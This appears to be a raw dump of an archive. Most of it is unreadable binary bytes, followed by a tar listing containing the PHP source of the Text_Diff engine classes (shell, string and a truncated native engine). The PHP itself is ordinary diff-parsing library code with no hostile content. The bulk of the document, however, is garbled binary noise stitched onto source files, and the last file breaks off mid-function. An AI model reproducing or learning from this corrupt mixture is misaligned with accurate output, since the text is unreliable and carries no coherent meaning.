Ѱ4];8ET#4D)f+:,(r@%P"frD"KBhh]wPRCTvD&d?`)XJb/[wāOi~) (bVRY(Qӣi \ZMC !6J/ ۉ`h*7rrL\ oMao(MJs&|BZҐ;ք'Wte{qХ#V uw0* Z ]3F.iJYY&P< 3t1? %Rq`'k `3ĪA2+Ñ=-s\!y@NH (TA$,yRФ\X\g^!Ղ0z:S"WD^9xO-Qd)TF'MQ+%=w #\pF."Geq\P: ]Ud9ͪW35sTpq_LPfjBgik{!cge8,h?0G}V:5dAМmԠA ~4帢pv) FT0`5ڢ@P/h.Bsap0@ꏄQ!J`i` cC["  AxB,RL2K4<^5KAP]9X4RQ  50xB7т>c6C}GvmH84h3M7Q6'IΠ[⡵P:ӵ/k\z | pp~rɵ@~ +z4\%RݍeHerLVuĜݹǛ]7#]\Zٌ:#Aޕ+}wSt6_hͷ6?rww-/٩RÓN6Vά}7\nFź;' {v/T낫Pг̸M[$7|Hvkw`vMOX|;դ6eNi9ΝX/=ck't8%>t4mrݝ)#$(zR A+:ˮ /rٻՀ'_q/U6<'٨lf+T˲:㋹¦ֻImqݎஹZr֚b/ΰD&@['κʛQ[Y L5w`37;e?(7W mqmԛ"o*ީn,UV 6a){㌬4]+MR^DLw@'mN{2|Liw WW~wk3BZ47Slßڪ;K9E}%ނGї{J˽v4=]Mw9֫nݭ-†sXq%]{;6rFz?Iow/!w֪{'g3 7RX XSd3%2ba¬7"oa:]˯qTagPtԿ(E ;V0-b[s̚3ͬ-9c.JzlQs񬭚Zn{X'B]zkb>b2nZ]\p[dn޶Igqf[4"fʖ-X2*\vh&gE5'6znٛ ֦ygjz'![uRYonKzjgי-gYs{¡Ո 9) H|2(XjĉF<"b%}|j:Un6r}@ܰ9_+Dر$\]A{3R+@@@no#{YS߁\C7pSf@C?XM"u'p D,1dBj ݦ`l#)9Qh/nWeË5h.&0tk(u Xxs{5 AAn,@^mnҙ`&lfҹHGCA6QJ f+xx#qಘ}z`FiSkp`բʡ 8WךV ؊Fv~Z0, ]Z$+vs[meƛmkR>Cu팸#݌ ˺5l+3t r1^1xWJ2 _f9<2̵[-DN HS)b&\Gk6`_A3kj1ٚ5X 冗 v<;iI'f0^S-ó(ߍJ^PVm8}jP|ɰ[y%_,;J)åu՝U<#@;CAFBUоX[t aBQ%CHn4I@WE3~< &ɦMX4) r|V/  i9c<+6th h%_Ӓנ/\s5_7@/\#lS#;)Ϡ'tRnK/N@4)t gUc VrK{~/Lu|p%TO 2 tF!h)O?]%@"P&f(Lb;6)ST*e-:?' XDڢȱ$nl+ $Ê)@nW|T{u:Gs yzD:X' CKbe9PG -Rqt/IXJҮL+ rL*`, XÌg\}Rb4mr 0& 6n\ى.'4/2 7 _&61rAImaT[$ZTGG.ALy͢f\5Y,F+}&OzEɵ'le]pB-D0"Ӡ!(ڬD@^כ PiJj̔Q,+ f3"P9UPjWmH>*t?&xB2GLUt£@0/d-"+VO)9xuh t,o~KW|Цs2N eX; 䃕@GeJ\8E\-" ڋ ([p2)erTa0JDm {$= g$1ݑIݑOQ7L 48rșۦEu0H&胦' ;WRZZyޯ@뙄4[#r&9?o' ԐN51Iʻ 3NאNQ=Z41m&d[f(Z&xtEBk~RjI]h܎j$Ȇ!Y2- S1\BDQH 2o`-a4w$D2Adܵb{tTvd2):EMIQmDv ظRrT1)%1I)Z&h q-.30hY݇hnx% gj(bts;hAd\=f>m/ݷ3hj>'tҧsbICc ;161nlAO<-C;d5o W +!>C+g%~DPp +ti0TnkDB8V5H̯f#;ZYE.Cc 5 uMH픳wZTmDKorvgK?gMĥQ |r GC3VsI\kuJ>[+-!LS]lDr`[aG;$[F-,pvM8: ,+@o*^!z2te Z瑩_;>`5 fvn՞Ã[$?]E(q5-ĥ꩖ eKKU_ =P*qNd*|i߇cNQIRft@|֝R9aq~rl:=9@EKT4@GƚɛҔPRW;}*esZ ^$ӫ vq0M們)EH%`lg̦jdz#st ߿|6Vx"V,C_F3_#qPL4O&[Ϥr`* *{\Sۨ.գʰt'BN*+ K_6͟ʵt Μ:nB8 Ce0֖s_]vd8Ma[ݯ8d5e4\fD^7:-.CPaeGNȡ! 8ωr$nʉ;O [|s'懝'4JK@ H/t֞MLL6븿Hbfa„]=gMjruhII>m{,:p> ^r/9S:x`Wuj,tc6kaϾpYQ}jWo`8 {1l&VNOi}TKm.)!dAy/reʐJçc؎dY7dbgHĖ´;vk,Wl#^f2Ѹtz Q!j#A.ktx{CH\J6%=νn57T&U'(Zk%K`4Hñ=[v%\W#]>!;`J$H0WWBE[׶bB8,\=N׃ѐwqWi2$ N0 [5rDb^b|P GA2抅:(_V\+պPyb" +t4`0%;Aݸ)v;.t7K ;bp 9*ɺk46{kRl-RA[gbZͶVi^Sam%^5{f ochN{q. q!Ѷ`| Yk*U*Yk fɼ-5/эz#fÓ/KBYz.c mVwG/%Bl1S {zyϓXǓeX%I[Ʋg#̭l6=4].3Nbv8gn3I^)tW~ymc1tw겯_\_"8q.oS%0Sf n6I&,À,ph\( {Pe/j).^ZɅp ...Ֆ~x{`pW VR+ s堻e6ܑG7bkKr eB`-W.t0FLmgVl6݉r,‘%:$Lj[ZX>XMʵۭ0X;rI9z$ɚ+e\V\\59Y+kjڮ5M h)lTXՄp1Ei>{n~iYGoUkf0+D+D񄲱FW.j5{-H=^/vmeBa'ѫ;dxu#s^GGWZ^_/kF׊Qq)noz sC- liYoC{u ~bR'ڈ~FXf7e2^7'uL4nfd)'?.2˝E2KY6sfm\xsޮ/V'BvʘMop^vSF箳ˡf),=_6r˅-{njoobtڮHr_fd>:nkvkbL& b~űƮ3b~X:VJNҋM+9lEOVh7ʩ=i5!ojaJQpՄĆuft_L97{e]e>zϹKF=k{IwnOg^s5]^6.ﲫ,SV[璍^1w[&|vYګ|'G}$舵 ,ݶtbLE[bj5;xڻKzK\IV|v-LbJ[5{ͱnpy[b$V n#$ +{J{J_-f9\F|]fڕ ;՝8L4NWT&wj&JZll._."=2r枽KM3Urx:U"'/ bض< |UȒvŶitYv}(4rQHoBb-6F-+hw\ Ygʖ/F bdWl/ӏEZiKګ.W,Tj%^/ꌬ2hͧKv{9)OٽG'KYw2lɖPꉮD,WVM*w6*M_m;9N=-W-7\jϾX32J+N_͡oM;IOlP]ћwv*u_lxy\;Ij#o[Iî~S1\-a 4l.f_ zM/㡍ng^l%szu/dI9B;aZ&q/fƸ~g]NQ"@T;`iƓ]{eɽXSUKj=LmV3hjey3KŨ%+~w,y쮦8W{']E]qF'ISMm~_5n9y49vVl% !*sz:e!reU0ˆKleRb<ጦuOߨ6w?hri&TD*ͽ]*j9q{5X)bsŴhnfz)imxbO1k%җ^bεq- w.1Y77q_W}Ղݗ,m\o#`>rlŪdVޥ6f@&H6^w5]cWv5 ^NzfTTn:, o䲕H'+\ǧ^Q$pLfZbKf{by& T#}5xz%d StGJ_yi[-bnolh :Nzsu]Y];빼{7JZ6Lmw:(gʹW $dsT:t)oVl՘] msvW D#Z cvv:nw匭VWb",qxPٝ9cUW25bmB:Nŝ WOV36z{͎_ ^sݬ+=W Ws?lPU_5lhгg%+ⅆ FlU Ztmo!,A A0X2Zv+ubG5_w߿9L$V lV̫DTeTZ\nA?sRi9ً+|9LgkQt8BYtb{v<6V)3UϙmZbm.vK|iViNoNgSb؜f>\8I3M!r=| LhX\fkJ30.kx.v9r7ZSkxJf.Zq<}:҈բUKX &ᴓIoo)tZMwꉵSEfXO(WK. ƒnH*ZK;>sm,;Tam' NX+F][mڅh;jңe~-m7 t!Z 7~d+̑|1(rIThYu4΄#XcL/dbk>s מ9 4τc4}zk.l,nr).$vܴbŕz\̯mΞbJ5=g4׍{߷rB^,+Kftlbq%wo9s3Eމ(5f8vՄ}1h"m`o lHok /.{Y`,|z?XH}G+ej~cQuȇ4#nywwy,NY)[VbL{/kxY`2`t=/}j]-+;lILo3%RB-7tjg\ F7ẰR(>Iovy9WcID*ۭDWnt9^mՕ%Kdbs/zj5ڭ;v̺#kf=Ol3j5G:NC4-zt=_KŹ^öS8߭v‹{XMz.ww2J׬&.X]+)5==rqsq; JV2\}/o+_Y_*2@q/r#ԗQ`Vr XjL76|G6xO%\ppf.'Mjm`2[|(s'&CV9tJK\rZ@>%`%s\^"w~Ո'6!iWUKwTqtRדBu+xۋc/u%aQp}Z3 @ky6s}ev[F^s]ނmﴚ o[`|nwǑ=Q\"k;lHtpԽ]_/`4+U9s]2d1isU:6[|PT d%h3{3^eYkH[P wzHG9T*˚WB%ߥmt%\h#6n(6^k-A$^6j//9FߟDB~K6$fYS5?\'$un]tyi z+骸*=߆O6,W͂`K(M-G%%3vU "__ @}bULfl R=F= yzXڵ/9-m$v˞9J|bw+{hkm/3._nGȝ63h8cZ(Tb6TP162raV ..eXjA ŕvW[sES;tWKlkQOZGP,2՝b;W_t8>kKXl0εp8k"/vlkIv#P΄>W 16DPhU:@sd `8a;*;|lqmt2!VT@Kzwvbk1.2ލ8Cr܋rI߆lq3^~cc{TzsǽXȕHtf.$󲄽IUhvl-))"~ ?@Q 0.uVͰ0RAz1cbЋ(7-:LDh2tBȁGRĤCFlTlbZ^ m 5w8t k EEQMQkVjUd1~˴ Ѣb$PvYCY!r-)ۚ$/^g e%abhog fuqPcuHSl,uwK(Ȉ2f5l`A~=~ Y g2 R+Mvc㲩K}zPgqjlC+ile\odPC&?~vgyGe쇝Plk +pOD-V>fd|\t7eFYt28~,| e$@uA8JȃZ0f CqGE:6jߩD$NbC5TV2,j[E4yPC592PŞ{z T< >0w(UXOc{JWypп:2x"e "9"4RD:{3M=~aT`7km=pDsU<rA R¸Ɔq6 );2u^dqq8P4qMod,$hǚFE|T*I(1!cW"%Eo)u?~<\ĽD녹<@H +2h; ГRyL%B2 ! EG,`, Mwݿ41Ï9uR11]Szc*R /Bn(Ÿ-|uoǠe`pf ?s:o2@ LJ巴2opdh"SC];:T}^v:1bu j^Z5Dx $C׀ZR`]Hml19 GAeF،ƚ[1@& # AC4q@N&ʨ&4׿G9<2FwKX#1X@7(!HHv(^Ɖ-譈˵Y W`Ef<8,qH6J4~ !/g o^Iȕ{*ǴC`F 6\tPNdIy7يwp?-FJ2.cPpxtO,{4P9q@iN`w4-O|&N'HS~xIt7bg4s6ٿsg#SMyJ}؈9(#qőrR뛄쁂 B1$dA_dt]NU0r9 Q\*x:gAaui|D˪%?ѧl}9?tb|w~{a ~!ّ$PNlT5ykQ(Z&wRPjK~a0Q1E{tKb6ŪFDGpq`'+,մM婫0AU@qb|Ke Vj~ ,Fek`Xܕ ~& ư #<  гõm=N}!oaauft(f ,)\&qfp*)cXR:7B7l6;wZH\S`gfE "R,=׊oz_H+- iՔ5|HzL׻a0]zzr9H6q՚0MrيNZWJ0Ę(O}V: \{} #Mppe\e'DW!4I9S yn"/BdC9۳]~.,>xހ8 uG=sb^aM'4Cxpck(y'Ʉ 1ء89^|^ T N/δɹJn`'d֜iOzM@uݴ[@u~GėrxF)"GŠSqodL3ĹSA?FI5pis;w*Ώ8yA6ia4ph<[VVz|6yu~Xƣl3""yQu}xCWRdȃOdIHcߓ&*g35J3~b _*uӊXUc>p@|]SUw#Y=tUy,^04&_mR$/MC uyndw1:*՟Eϩjc>Qʊ.< jæt `|$s0Ȇ(齺$Ȳ[F6ierq+O+ hjM pAt@ ֓UB=P?ޤkXz6%k&#w3ЫjTjȻ'Z(yIoI)ywY}\OxpoP*?^:`maSL>@  c;r9h%%K/eM y¨W |IKC1h͢tۂ."<*4ʆ&4/Rk8[  a$  5CM1/Xxtcx [B>&K`l#EM0S[,ae% [ۡ(@9d/ nWwFv3k@' o!1Kj7Ac.~\O@S ˆVJvHـ9rg4[V- z="5=F%wɖehqv }Km` u[`[,!`$8//)"r1r<4%PZ70b<%y@g>ݡIʜ G]JAPO J#wXxPAtL>o\#T9.k%@ bM'r yfZ+}H`/=fk( a<[9;&d`4sH>HnY.&b5bȊ~ZZ'0ܵLQfJJ#yrk7 #'PӘ¨ڕv ;$&C$ОGQU>GX_.10ҴE<0@Y1W\A(C`9~VKh/>2HVYPAM h*SeA=* 7֚q0ݜ30iQNF6Rdףk+62[#3 'pl!n \&N=.JM貞tKcJD:':,}w"`#yFu[yJ7ǥpX(YaҺ(FvZ暶:z >i`r!!/hq\&ʚ!.CR*%#r 0y[{@X5q]xQ4dq_eH׈B(S r(88[ 00=$g6vJoP+Hhv82efX1>S^˃S0K u:\Ե#H6hT`<\ oM tRU,^lTtV;jPNQʘV8h ` PjAk/lp .u؊)LSrhSuIBk⫥JpVT FQI:8+x"OcCѩ) E'(&z0BBc2 Gbbi9JefHZ; r]^۝ngw8]nmVEZ4NN,DBT,DB#- >戦&g vaѦ޺ Q8~b(%r(EӝDX!Y_AQ:Ơ0&A \[@i1/uۜ!'<8^tN̓c`3P8a葓J[Nr+I.9ɯ$9X^%!04<1A\$TQbA6PfhQH Jv @/U-0|RN +8Y=Qe9 y!5Kiܕ&?sdE|(Ek/_r*9e.7*a6OvynX!'& 3$@eF(/L#D4 fjJjQ UP8ݮr|͖24m;> A `8"pja@ lp|q ]Wa8 Z8ݕ٤4Lh0-EYH4ۘڶaP"^kR`!ͦ6Ani{藴hHxsimA }K5δQXp RXO@4p_`*6nuͦ3Eڴ哭S3{-IзX ʴ@LRh͊:15mU{ ͠1hPFV+}r1THF-?M rt /bs[@ez ML7s.VKdYl0BYkBVFYX L&jxCfXFA)'3YCH0"jFhV-h؛6 Yzqr% >YJZs(FbX0G :]m9 |gkزHTgA{Qh/FZ]o .*04Alg3]ڡ@@U/wJViC Z쬚!KTp2Rh(@Q) m6+ >P띤OY~"A}Ď ̄ 5/c9'IH4 mpauoUHEc!'bL .*{hG*1NtGC2mU`PsM"C)^HH 2MޗA.B:(C%We%hQv_KgQE\/׼tH#zbh6@K2Nx1R^2vՓ!(1Ǭsꎾ6; sވyq ý tG0N5)A kX{/EemTE`ÅTSer%EQ2U[ &I]єy3H1C2R=.ÝØMdk3#_5\:R1 %>+8ǁp}ri&h%T%\&;ULo+!叞 b2ӒV$dv 橦sZԶRUQlΚ`I9lAGW5MA1dE~Ķ2o{LVohW=#U7ʨRʗ@81(x!vCQ|gwW9LAIDùg%ZlB%c"w(7{$?C]^Nˍ`89I?tHq(P~^ (?*rQ ׷=G1{;-ol&r01d0j!ߠ koipeFlĸSI RGEԇͦWxI+D Wz(*f`QD&+GW=J@=l4n8*lR#*W{L &õY)8;Y  #{ǨQy#0ԕ7bgUx-| ,98TaGn~0ۭt|͎6v#Z:%Z% .d: BIwp$ h txD^8Z0-RyP9сD B.'nJYv|EX Cux8vF9XCgLjs#@wK  Z=C8DF=g+Uaӊ=8΀IwBs*^AU\(bW-8ca3M_=Oa&j{zHG^5Pޒ8b%(M$9[ձjn)NC ЧjX\ŕ>C(tS:T*0Meu *WLS=dh+WCG40h*'*k=LM=E|Z񌖯5練 8 Bͨ8h@zyI,"t ywUvuG."> ӽ>Ui0 hh e]#$O[ٚۚ2ӮP ^ sm0'st 7GlǏ!8rCW/_"5$lq@ ~x-SQ.Em JXdt &`? X|`K H):WZcYIt*' `AH@m ق^. ]ŴIV$v{T[;;쨇0\=*7jBafcRo(D8ZHh@L`7 #_M0!Z+>]ADM 94g lSk1iM&7߆7"MV@"NA 7b@w@!- 9reRlJmW ¶ĥSȦ 4-0,Gɩ|)p_ 2]aXjdBA/Q@  ()` ;%ihABa㓂 Y%Q0BeGnHM#( [!!#B&E >uw$ߕj. -Q]jS ^M?>,5&C4/. 4j#rɡH` !4zpqX`RҶ(cI]+ *qp(i<'S2ʡmj@-PZQ+q @ElۚJ`p hUOO )-'htOO @vpt=&LV(7%[aD]S]?8 |␩cdiƁ4+5TDe4MvDm8FRw䦁 j!Yؐ4hbhCђ"ѥV^HSX(OI2OW#G6% DCe$V ? 6Fz+uȨɴ2Qle[ #YCJzD!ߥ .qw$0 _e䔂'rIP1iP`Qi!WrX mK?m!dHn6Ō1NZ-·'}PQ8rG o7}IrO RMɜInё,^WEӘY!h3tP^N&. CBc=pEkdV<ZUCm0rO=-SF!y{yfkc~%qHfA!'"Nкll@l.Bzo'a*T_a?J`.-2@;q-KSVV# AX|ok[E v )-e4`1ε[,0 8*b$>Ll_f <׮Ց~@fH}IO}9B$uL1kЗ/BKMiLhmN-5^АdDʼNvD2ӌ+'[\HSG#:UZjcH&;^8$|}T]A3z YTE`%)P|UjrɆiWudFL@T-r!PɑJGULgjo#ٻNZɵsG:~e΅bgCQ :/t8i 0 C`qh@?POTbJZVfr9I@m1*Lsiڣ]/UmGU߻x;V$*Xt`k 5 AZ=m`4>&%CEVYZؿ_P:ЍʊEC&D-ԑ>9BT^wJ{VdfG!OC+#yNh'bU MVH!n}Zhk cAMbC|~Z><*nGJn084K@]+YZG7:ۧ\|Bd 5I p5 ã3fWh+TkuG+. evPȣ v WMpXHʈ9O朷HeSkI|.$t)91tK9-uHO vC eijXJ;'pnOq坑™AՑ^K=\%'Ja=aM2:ТveY=Hj(0TʡbW -uלу9)cp]EY.p'佄a?e4n<1T%:)}كTZ0+ӾH !˝p\vfP*gln\]Pл[Y\w߅C(vOrntcw]y7tڴN5q)t's[F;U8`4(W .O4$P<rTkm) avgQ`y;`;\KyǑQ=grxkb]l-B^g1.$ Te$|0@jƷ;:Y w(9C!iļLA|G>s5̸I?>4g\~@c{vXg3ny#G}a4>|Fg ge_ο>vI@f::[&0L'h#rTV&hzG"Yn,ejȥvtYIGw&Y`szfܞ<g.ׅY X8F[G}?/G㘱_U483qn|F}ގh|CUFsHOo/ϝ&FO~Μ {vޗ&N]<gѳ?Y񟟞مіcjrWScOKG'ȵV[1yxItT'@L!@ g ~HM3ڮC2j:4{u~zNa.xNh=/o9. |ggTgm=M<9a.m-M3v:oy6?)N=pJJO'F5JO?dGΠ~~P.irj9<m.Fqiwh삖6@e{3Q]ؑ;whq؁thI=G ?8_9E.]×PKd#[â8oova/Engine.tarnu[shell.php000064400000012123150554226750006376 0ustar00 * @package Text_Diff * @since 0.3.0 */ class Text_Diff_Engine_shell { /** * Path to the diff executable * * @var string */ var $_diffCommand = 'diff'; /** * Returns the array of differences. * * @param array $from_lines lines of text from old file * @param array $to_lines lines of text from new file * * @return array all changes made (array with Text_Diff_Op_* objects) */ function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); $temp_dir = Text_Diff::_getTempDir(); // Execute gnu diff or similar to get a standard diff file. $from_file = tempnam($temp_dir, 'Text_Diff'); $to_file = tempnam($temp_dir, 'Text_Diff'); $fp = fopen($from_file, 'w'); fwrite($fp, implode("\n", $from_lines)); fclose($fp); $fp = fopen($to_file, 'w'); fwrite($fp, implode("\n", $to_lines)); fclose($fp); $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file); unlink($from_file); unlink($to_file); if (is_null($diff)) { // No changes were made return array(new Text_Diff_Op_copy($from_lines)); } $from_line_no = 1; $to_line_no = 1; $edits = array(); // Get changed lines by parsing something like: // 0a1,2 // 1,2c4,6 // 1,5d6 preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff, $matches, PREG_SET_ORDER); foreach ($matches as $match) { if (!isset($match[5])) { // This paren is not set every time (see regex). $match[5] = false; } if ($match[3] == 'a') { $from_line_no--; } if ($match[3] == 'd') { $to_line_no--; } if ($from_line_no < $match[1] || $to_line_no < $match[4]) { // copied lines assert($match[1] - $from_line_no == $match[4] - $to_line_no); array_push($edits, new Text_Diff_Op_copy( $this->_getLines($from_lines, $from_line_no, $match[1] - 1), $this->_getLines($to_lines, $to_line_no, $match[4] - 1))); } switch ($match[3]) { case 'd': // deleted lines array_push($edits, new Text_Diff_Op_delete( $this->_getLines($from_lines, $from_line_no, $match[2]))); $to_line_no++; break; case 'c': // changed lines array_push($edits, new Text_Diff_Op_change( $this->_getLines($from_lines, $from_line_no, $match[2]), $this->_getLines($to_lines, $to_line_no, $match[5]))); break; case 'a': // added lines array_push($edits, new Text_Diff_Op_add( $this->_getLines($to_lines, $to_line_no, $match[5]))); $from_line_no++; break; } } if (!empty($from_lines)) { // Some lines might still be pending. Add them as copied array_push($edits, new Text_Diff_Op_copy( $this->_getLines($from_lines, $from_line_no, $from_line_no + count($from_lines) - 1), $this->_getLines($to_lines, $to_line_no, $to_line_no + count($to_lines) - 1))); } return $edits; } /** * Get lines from either the old or new text * * @access private * * @param array $text_lines Either $from_lines or $to_lines (passed by reference). * @param int $line_no Current line number (passed by reference). * @param int $end Optional end line, when we want to chop more * than one line. * * @return array The chopped lines */ function _getLines(&$text_lines, &$line_no, $end = false) { if (!empty($end)) { $lines = array(); // We can shift even more while ($line_no <= $end) { array_push($lines, array_shift($text_lines)); $line_no++; } } else { $lines = array(array_shift($text_lines)); $line_no++; } return $lines; } } string.php000064400000020233150554227020006565 0ustar00 * $patch = file_get_contents('example.patch'); * $diff = new Text_Diff('string', array($patch)); * $renderer = new Text_Diff_Renderer_inline(); * echo $renderer->render($diff); * * * Copyright 2005 Örjan Persson * Copyright 2005-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @author Örjan Persson * @package Text_Diff * @since 0.2.0 */ class Text_Diff_Engine_string { /** * Parses a unified or context diff. * * First param contains the whole diff and the second can be used to force * a specific diff type. If the second parameter is 'autodetect', the * diff will be examined to find out which type of diff this is. * * @param string $diff The diff content. * @param string $mode The diff mode of the content in $diff. One of * 'context', 'unified', or 'autodetect'. * * @return array List of all diff operations. */ function diff($diff, $mode = 'autodetect') { // Detect line breaks. $lnbr = "\n"; if (strpos($diff, "\r\n") !== false) { $lnbr = "\r\n"; } elseif (strpos($diff, "\r") !== false) { $lnbr = "\r"; } // Make sure we have a line break at the EOF. if (substr($diff, -strlen($lnbr)) != $lnbr) { $diff .= $lnbr; } if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') { return PEAR::raiseError('Type of diff is unsupported'); } if ($mode == 'autodetect') { $context = strpos($diff, '***'); $unified = strpos($diff, '---'); if ($context === $unified) { return PEAR::raiseError('Type of diff could not be detected'); } elseif ($context === false || $unified === false) { $mode = $context !== false ? 'context' : 'unified'; } else { $mode = $context < $unified ? 'context' : 'unified'; } } // Split by new line and remove the diff header, if there is one. $diff = explode($lnbr, $diff); if (($mode == 'context' && strpos($diff[0], '***') === 0) || ($mode == 'unified' && strpos($diff[0], '---') === 0)) { array_shift($diff); array_shift($diff); } if ($mode == 'context') { return $this->parseContextDiff($diff); } else { return $this->parseUnifiedDiff($diff); } } /** * Parses an array containing the unified diff. * * @param array $diff Array of lines. * * @return array List of all diff operations. */ function parseUnifiedDiff($diff) { $edits = array(); $end = count($diff) - 1; for ($i = 0; $i < $end;) { $diff1 = array(); switch (substr($diff[$i], 0, 1)) { case ' ': do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == ' '); $edits[] = new Text_Diff_Op_copy($diff1); break; case '+': // get all new lines do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff1); break; case '-': // get changed or removed lines $diff2 = array(); do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == '-'); while ($i < $end && substr($diff[$i], 0, 1) == '+') { $diff2[] = substr($diff[$i++], 1); } if (count($diff2) == 0) { $edits[] = new Text_Diff_Op_delete($diff1); } else { $edits[] = new Text_Diff_Op_change($diff1, $diff2); } break; default: $i++; break; } } return $edits; } /** * Parses an array containing the context diff. * * @param array $diff Array of lines. * * @return array List of all diff operations. */ function parseContextDiff(&$diff) { $edits = array(); $i = $max_i = $j = $max_j = 0; $end = count($diff) - 1; while ($i < $end && $j < $end) { while ($i >= $max_i && $j >= $max_j) { // Find the boundaries of the diff output of the two files for ($i = $j; $i < $end && substr($diff[$i], 0, 3) == '***'; $i++); for ($max_i = $i; $max_i < $end && substr($diff[$max_i], 0, 3) != '---'; $max_i++); for ($j = $max_i; $j < $end && substr($diff[$j], 0, 3) == '---'; $j++); for ($max_j = $j; $max_j < $end && substr($diff[$max_j], 0, 3) != '***'; $max_j++); } // find what hasn't been changed $array = array(); while ($i < $max_i && $j < $max_j && strcmp($diff[$i], $diff[$j]) == 0) { $array[] = substr($diff[$i], 2); $i++; $j++; } while ($i < $max_i && ($max_j-$j) <= 1) { if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') { break; } $array[] = substr($diff[$i++], 2); } while ($j < $max_j && ($max_i-$i) <= 1) { if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') { break; } $array[] = substr($diff[$j++], 2); } if (count($array) > 0) { $edits[] = new Text_Diff_Op_copy($array); } if ($i < $max_i) { $diff1 = array(); switch (substr($diff[$i], 0, 1)) { case '!': $diff2 = array(); do { $diff1[] = substr($diff[$i], 2); if ($j < $max_j && substr($diff[$j], 0, 1) == '!') { $diff2[] = substr($diff[$j++], 2); } } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!'); $edits[] = new Text_Diff_Op_change($diff1, $diff2); break; case '+': do { $diff1[] = substr($diff[$i], 2); } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff1); break; case '-': do { $diff1[] = substr($diff[$i], 2); } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-'); $edits[] = new Text_Diff_Op_delete($diff1); break; } } if ($j < $max_j) { $diff2 = array(); switch (substr($diff[$j], 0, 1)) { case '+': do { $diff2[] = substr($diff[$j++], 2); } while ($j < $max_j && substr($diff[$j], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff2); break; case '-': do { $diff2[] = substr($diff[$j++], 2); } while ($j < $max_j && substr($diff[$j], 0, 1) == '-'); $edits[] = new Text_Diff_Op_delete($diff2); break; } } } return $edits; } } native.php000064400000037261150554227100006555 0ustar00 2, and some optimizations) are from * Geoffrey T. Dairiki . The original PHP version of this * code was written by him, and is used/adapted with his permission. * * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @author Geoffrey T. Dairiki * @package Text_Diff */ class Text_Diff_Engine_native { public $xchanged; public $ychanged; public $xv; public $yv; public $xind; public $yind; public $seq; public $in_seq; public $lcs; function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); $n_from = count($from_lines); $n_to = count($to_lines); $this->xchanged = $this->ychanged = array(); $this->xv = $this->yv = array(); $this->xind = $this->yind = array(); unset($this->seq); unset($this->in_seq); unset($this->lcs); // Skip leading common lines. for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) { if ($from_lines[$skip] !== $to_lines[$skip]) { break; } $this->xchanged[$skip] = $this->ychanged[$skip] = false; } // Skip trailing common lines. $xi = $n_from; $yi = $n_to; for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) { if ($from_lines[$xi] !== $to_lines[$yi]) { break; } $this->xchanged[$xi] = $this->ychanged[$yi] = false; } // Ignore lines which do not exist in both files. for ($xi = $skip; $xi < $n_from - $endskip; $xi++) { $xhash[$from_lines[$xi]] = 1; } for ($yi = $skip; $yi < $n_to - $endskip; $yi++) { $line = $to_lines[$yi]; if (($this->ychanged[$yi] = empty($xhash[$line]))) { continue; } $yhash[$line] = 1; $this->yv[] = $line; $this->yind[] = $yi; } for ($xi = $skip; $xi < $n_from - $endskip; $xi++) { $line = $from_lines[$xi]; if (($this->xchanged[$xi] = empty($yhash[$line]))) { continue; } $this->xv[] = $line; $this->xind[] = $xi; } // Find the LCS. $this->_compareseq(0, count($this->xv), 0, count($this->yv)); // Merge edits when possible. $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged); $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged); // Compute the edit operations. $edits = array(); $xi = $yi = 0; while ($xi < $n_from || $yi < $n_to) { assert($yi < $n_to || $this->xchanged[$xi]); assert($xi < $n_from || $this->ychanged[$yi]); // Skip matching "snake". $copy = array(); while ($xi < $n_from && $yi < $n_to && !$this->xchanged[$xi] && !$this->ychanged[$yi]) { $copy[] = $from_lines[$xi++]; ++$yi; } if ($copy) { $edits[] = new Text_Diff_Op_copy($copy); } // Find deletes & adds. $delete = array(); while ($xi < $n_from && $this->xchanged[$xi]) { $delete[] = $from_lines[$xi++]; } $add = array(); while ($yi < $n_to && $this->ychanged[$yi]) { $add[] = $to_lines[$yi++]; } if ($delete && $add) { $edits[] = new Text_Diff_Op_change($delete, $add); } elseif ($delete) { $edits[] = new Text_Diff_Op_delete($delete); } elseif ($add) { $edits[] = new Text_Diff_Op_add($add); } } return $edits; } /** * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF, * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized * segments. * * Returns (LCS, PTS). LCS is the length of the LCS. PTS is an array of * NCHUNKS+1 (X, Y) indexes giving the diving points between sub * sequences. The first sub-sequence is contained in (X0, X1), (Y0, Y1), * the second in (X1, X2), (Y1, Y2) and so on. Note that (X0, Y0) == * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM). * * This function assumes that the first lines of the specified portions of * the two files do not match, and likewise that the last lines do not * match. The caller must trim matching lines from the beginning and end * of the portions it is going to specify. */ function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks) { $flip = false; if ($xlim - $xoff > $ylim - $yoff) { /* Things seems faster (I'm not sure I understand why) when the * shortest sequence is in X. */ $flip = true; list ($xoff, $xlim, $yoff, $ylim) = array($yoff, 